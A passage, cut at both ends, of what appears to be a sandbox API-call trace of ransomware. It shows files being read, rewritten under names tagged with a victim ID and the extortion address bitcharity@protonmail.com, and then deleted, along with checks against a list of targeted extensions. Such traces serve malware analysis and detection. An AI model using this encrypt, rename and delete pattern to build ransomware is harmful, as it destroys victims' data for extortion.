dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0129.557] SetFilePointerEx (in: hFile=0x1048, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.557] SetFilePointerEx (in: hFile=0x1048, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.557] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x106c [0129.898] GetLastError () returned 0x0 [0129.898] ReadFile (in: hFile=0x1048, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x232c8, lpOverlapped=0x0) returned 1 [0129.974] WriteFile (in: hFile=0x106c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x232d0, lpOverlapped=0x0) returned 1 [0129.977] ReadFile (in: hFile=0x1048, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.977] WriteFile (in: hFile=0x106c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0129.977] SetEndOfFile (hFile=0x106c) returned 1 [0129.978] CloseHandle (hObject=0x106c) returned 1 [0129.985] SetFilePointerEx (in: hFile=0x1048, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.985] SetEndOfFile (hFile=0x1048) returned 1 [0129.987] CloseHandle (hObject=0x1048) returned 1 [0129.987] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0129.987] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0129.988] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0129.988] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0129.988] lstrlenW (lpString=".doc") returned 4 [0129.988] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0129.988] lstrlenW (lpString=".docx") returned 5 [0129.988] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0129.988] lstrlenW (lpString=".pdf") returned 4 [0129.988] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0129.988] lstrlenW (lpString=".xls") returned 4 [0129.988] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0129.988] lstrlenW (lpString=".xlsx") returned 5 [0129.988] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0129.988] lstrlenW (lpString=".ppt") returned 4 [0129.988] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0129.988] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0129.988] lstrlenW (lpString=".zip") returned 4 [0129.988] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0129.988] lstrlenW (lpString=".rar") returned 4 [0129.988] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0129.988] lstrlenW (lpString=".bz2") returned 4 [0129.988] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0129.988] lstrlenW (lpString=".7z") returned 3 [0129.988] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0129.988] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0129.989] lstrlenW (lpString=".dbf") returned 4 [0129.989] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0129.989] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0129.989] lstrlenW (lpString=".1cd") returned 4 [0129.989] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0129.989] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0129.989] lstrlenW (lpString=".jpg") returned 4 [0129.989] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0129.989] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0129.989] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0129.989] lstrlenW (lpString=".doc") returned 4 [0129.989] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0129.989] lstrlenW (lpString=".docx") returned 5 [0129.989] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0129.989] lstrlenW (lpString=".pdf") returned 4 [0129.989] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0129.989] lstrlenW (lpString=".xls") returned 4 [0129.989] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0129.989] lstrlenW (lpString=".xlsx") returned 5 [0129.989] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0129.989] lstrlenW (lpString=".ppt") returned 4 [0129.989] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0129.989] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0129.989] lstrlenW (lpString=".zip") returned 4 [0129.989] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0129.990] lstrlenW (lpString=".rar") returned 4 [0129.990] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0129.990] lstrlenW (lpString=".bz2") returned 4 [0129.990] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0129.990] lstrlenW (lpString=".7z") returned 3 [0129.990] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0129.990] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0129.990] lstrlenW (lpString=".dbf") returned 4 [0129.990] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0129.990] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0129.990] lstrlenW (lpString=".1cd") returned 4 [0129.990] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0129.990] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0129.990] lstrlenW (lpString=".jpg") returned 4 [0129.990] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0129.990] Sleep (dwMilliseconds=0x64) [0130.202] Sleep (dwMilliseconds=0x64) [0130.404] Sleep (dwMilliseconds=0x64) [0130.533] Sleep (dwMilliseconds=0x64) [0130.649] Sleep (dwMilliseconds=0x64) [0130.806] Sleep (dwMilliseconds=0x64) [0130.917] Sleep (dwMilliseconds=0x64) [0131.292] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.292] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.292] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0131.293] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=18264) returned 1 [0131.293] CloseHandle (hObject=0x10ac) returned 1 [0131.293] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0131.293] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0131.293] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.293] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0131.295] GetLastError () returned 0x0 [0131.295] ReadFile (in: hFile=0x10ac, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x4758, lpOverlapped=0x0) returned 1 [0131.374] WriteFile (in: hFile=0x10b0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x4760, lpOverlapped=0x0) returned 1 [0131.375] ReadFile (in: hFile=0x10ac, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.375] WriteFile (in: hFile=0x10b0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0131.375] SetEndOfFile (hFile=0x10b0) returned 1 [0131.376] CloseHandle (hObject=0x10b0) returned 1 [0131.377] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.377] SetEndOfFile (hFile=0x10ac) returned 1 [0131.378] CloseHandle (hObject=0x10ac) returned 1 [0131.378] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.378] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0131.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0131.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0131.379] lstrlenW (lpString=".doc") returned 4 [0131.379] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.379] lstrlenW (lpString=".docx") returned 5 [0131.379] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.379] lstrlenW (lpString=".pdf") returned 4 [0131.379] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.379] lstrlenW (lpString=".xls") returned 4 [0131.379] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.379] lstrlenW (lpString=".xlsx") returned 5 [0131.379] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.379] lstrlenW (lpString=".ppt") returned 4 [0131.379] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0131.379] lstrlenW (lpString=".zip") returned 4 [0131.379] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.379] lstrlenW (lpString=".rar") returned 4 [0131.379] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.379] lstrlenW (lpString=".bz2") returned 4 [0131.379] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.379] lstrlenW (lpString=".7z") returned 3 [0131.379] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0131.379] lstrlenW (lpString=".dbf") returned 4 [0131.379] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0131.379] lstrlenW (lpString=".1cd") returned 4 [0131.379] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0131.380] lstrlenW (lpString=".jpg") returned 4 [0131.380] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0131.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0131.380] lstrlenW (lpString=".doc") returned 4 [0131.380] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.380] lstrlenW (lpString=".docx") returned 5 [0131.380] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.380] lstrlenW (lpString=".pdf") returned 4 [0131.380] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.380] lstrlenW (lpString=".xls") returned 4 [0131.380] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.382] lstrlenW (lpString=".xlsx") returned 5 [0131.382] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.382] lstrlenW (lpString=".ppt") returned 4 [0131.382] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0131.382] lstrlenW (lpString=".zip") returned 4 [0131.382] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.382] lstrlenW (lpString=".rar") returned 4 [0131.382] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.382] lstrlenW (lpString=".bz2") returned 4 [0131.382] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.382] lstrlenW (lpString=".7z") returned 3 [0131.382] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0131.382] lstrlenW (lpString=".dbf") returned 4 [0131.382] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0131.382] lstrlenW (lpString=".1cd") returned 4 [0131.382] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0131.382] lstrlenW (lpString=".jpg") returned 4 [0131.382] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.382] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.383] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.383] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0131.383] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=18776) returned 1 [0131.383] CloseHandle (hObject=0x10ac) returned 1 [0131.383] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0131.385] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0131.385] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.385] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0131.387] GetLastError () returned 0x0 [0131.387] ReadFile (in: hFile=0x10ac, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x4958, lpOverlapped=0x0) returned 1 [0131.485] WriteFile (in: hFile=0x10b0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x4960, lpOverlapped=0x0) returned 1 [0131.486] ReadFile (in: hFile=0x10ac, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.486] WriteFile (in: hFile=0x10b0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0131.486] SetEndOfFile (hFile=0x10b0) returned 1 [0131.486] CloseHandle (hObject=0x10b0) returned 1 [0131.487] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.487] SetEndOfFile (hFile=0x10ac) returned 1 [0131.488] CloseHandle (hObject=0x10ac) returned 1 [0131.488] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.489] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0131.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0131.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0131.490] lstrlenW (lpString=".doc") returned 4 [0131.490] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.490] lstrlenW (lpString=".docx") returned 5 [0131.490] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.490] lstrlenW (lpString=".pdf") returned 4 [0131.490] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.490] lstrlenW (lpString=".xls") returned 4 [0131.490] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.490] lstrlenW (lpString=".xlsx") returned 5 [0131.490] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.490] lstrlenW (lpString=".ppt") returned 4 [0131.490] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0131.490] lstrlenW (lpString=".zip") returned 4 [0131.490] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.490] lstrlenW (lpString=".rar") returned 4 [0131.490] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.490] lstrlenW (lpString=".bz2") returned 4 [0131.491] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.491] lstrlenW (lpString=".7z") returned 3 [0131.491] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0131.491] lstrlenW (lpString=".dbf") returned 4 [0131.491] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0131.491] lstrlenW (lpString=".1cd") returned 4 [0131.491] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0131.491] lstrlenW (lpString=".jpg") returned 4 [0131.491] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0131.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0131.491] lstrlenW (lpString=".doc") returned 4 [0131.491] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.491] lstrlenW (lpString=".docx") returned 5 [0131.491] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.491] lstrlenW (lpString=".pdf") returned 4 [0131.491] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.491] lstrlenW (lpString=".xls") returned 4 [0131.491] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.491] lstrlenW (lpString=".xlsx") returned 5 [0131.491] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.491] lstrlenW (lpString=".ppt") returned 4 [0131.491] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0131.491] lstrlenW (lpString=".zip") returned 4 [0131.491] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.491] lstrlenW (lpString=".rar") returned 4 [0131.492] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.492] lstrlenW (lpString=".bz2") returned 4 [0131.492] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.492] lstrlenW (lpString=".7z") returned 3 [0131.492] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0131.492] lstrlenW (lpString=".dbf") returned 4 [0131.492] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0131.492] lstrlenW (lpString=".1cd") returned 4 [0131.492] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0131.492] lstrlenW (lpString=".jpg") returned 4 [0131.492] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.492] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.492] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.492] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0131.492] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=18264) returned 1 [0131.493] CloseHandle (hObject=0x10ac) returned 1 [0131.493] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0131.493] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.493] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0131.493] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.493] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.493] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0131.495] GetLastError () returned 0x0 [0131.495] ReadFile (in: hFile=0x10ac, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x4758, lpOverlapped=0x0) returned 1 [0131.639] WriteFile (in: hFile=0x10b0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x4760, lpOverlapped=0x0) returned 1 [0131.640] ReadFile (in: hFile=0x10ac, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.640] WriteFile (in: hFile=0x10b0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0131.640] SetEndOfFile (hFile=0x10b0) returned 1 [0131.640] CloseHandle (hObject=0x10b0) returned 1 [0131.645] SetFilePointerEx (in: hFile=0x10ac, 